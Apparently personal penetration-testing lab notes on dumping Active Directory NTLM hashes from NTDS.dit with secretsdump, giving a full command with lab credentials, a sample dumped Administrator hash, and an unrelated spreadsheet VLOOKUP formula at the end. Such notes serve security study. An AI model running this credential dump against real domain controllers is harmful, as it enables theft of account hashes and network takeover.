Dumping the NTDS.dit

secretsdump to dump it for us:

secretsdump.py MARVEL.local/hawkeye:'Password1@'@192.168.218.136 -just-dc-ntlm

Cracking NTLM hashes:

NT: (only need this portion for cracking)

this part only is the NT (green)!

Administrator:500:aad3b435b51404eeaad3b435b51404ee:920ae267e048417fcfe00f49ecbd4b33:::

Sheets VLOOKUP code

=VLOOKUP(B1,Sheet2!A:B,2,false)